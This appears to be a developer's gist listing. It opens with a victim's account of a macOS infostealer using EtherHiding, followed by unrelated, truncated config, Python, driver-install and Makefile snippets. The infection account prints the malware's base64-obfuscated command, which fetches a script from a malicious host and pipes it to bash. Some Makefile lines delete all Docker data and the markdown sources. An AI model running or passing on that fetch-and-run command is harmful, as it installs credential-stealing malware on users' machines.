Andrius Putna fordnox

How I got infected

By being curious. I actually followed the instructions and pasted (cmd+v) into the terminal. The website had already put command in my clipboard. I did not save the actual command but it was something like bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9jYXB1LmNpdHJpeGFwcHNwcm92aWRlbmNlLm9yZy91cGRhdGUuc2gnIHwgYmFzaA==" | base64 -d) where the base64 content was this url https://capu.citrixappsprovidence.org/update.sh

I have saved the script and turned of the WiFi. Then reinstalled Mac.

What it is

A macOS infostealer loader using the "EtherHiding" technique — the command-and-control address is stored in a blockchain smart contract instead of hardcoded, so it can't be taken down or blocklisted.

Available Public Wildcard DNS Domains pointing to localhost (127.0.0.1)

DISCLAIMER: I have no responsibility for any domains listed here, or in the comments, and if any of them capture any data transmitted by the HTTP request. At any time, any of the domains listed in this article may stop working (except localhost).

It turns out that some kind hearted people already set up wildcard domains for you already. You can use any domain below and/or any subdomain of these and they currently resolve to 127.0.0.1 but could switch at any time to resolve somewhere else. Here's the list of ones I know about. Let me know if there are more!

NOTE: You can (and should) check if any domain resolve to 127.0.0.1.

localhost - It will always works. Do you know why? <--- Now there's no sorry.
[*.]fbi.com - 👏 👏 👏 👏 👏

	services:
	traefik-forward-auth:
	image: thomseddon/traefik-forward-auth:2
	environment:
	- PROVIDERS_GOOGLE_CLIENT_ID=
	- PROVIDERS_GOOGLE_CLIENT_SECRET=
	- SECRET=
	- INSECURE_COOKIE=false
	labels:
	- traefik.enable=true

	import base64, hashlib, os

	print('Searching for a key with valid hash. Hold tight, this might take a minute...')
	threshold = 2 ** 234
	attempts = 0
	while True:
	attempts += 1
	seed = os.urandom(50)
	h = int.from_bytes(hashlib.sha256(seed).digest(), 'big')
	if attempts % 100_000 == 0:

	import asyncio
	import signal

	async def hourly_task():
	try:
	while True:
	print("Running hourly task")
	await asyncio.sleep(3) # Sleep for 1 hour
	except asyncio.CancelledError:
	print("Hourly task canceled")

	sudo apt update && sudo apt upgrade;
	sudo apt autoremove nvidia* --purge;
	ubuntu-drivers devices;
	sudo apt-get install linux-headers-$(uname -r) build-essential;
	# reboot
	sudo apt install nvidia-cuda-toolkit;
	lspci \| grep -i nvidia;
	sudo apt install nvidia-driver-550;
	sudo apt update && sudo apt upgrade;
	# reboot

	#!make

	run:
	@if [ $$(($$RANDOM % 2)) -eq 0 ]; then \
	echo 1; \
	else \
	echo 2; \
	fi

	clean:
	docker stop $$(docker ps -aq) \|\| true
	docker rm $$(docker ps -aq) \|\| true
	docker container prune -f \|\| true
	docker rmi $$(docker images -q) \|\| true
	docker image prune -f \|\| true
	docker volume rm $$(docker volume ls -q) \|\| true

	docker-prune: ## Remove all unused containers, networks, images (both dangling and unreferenced), and optionally, volumes.
	docker container prune -f

	find ./content -name '*.md' \| xargs -n 1 bash -c 'pandoc -f markdown -t html -o "${1/.md/.htm}" "${1}"' -
	find ./content -name '*.md' -exec rm {} \;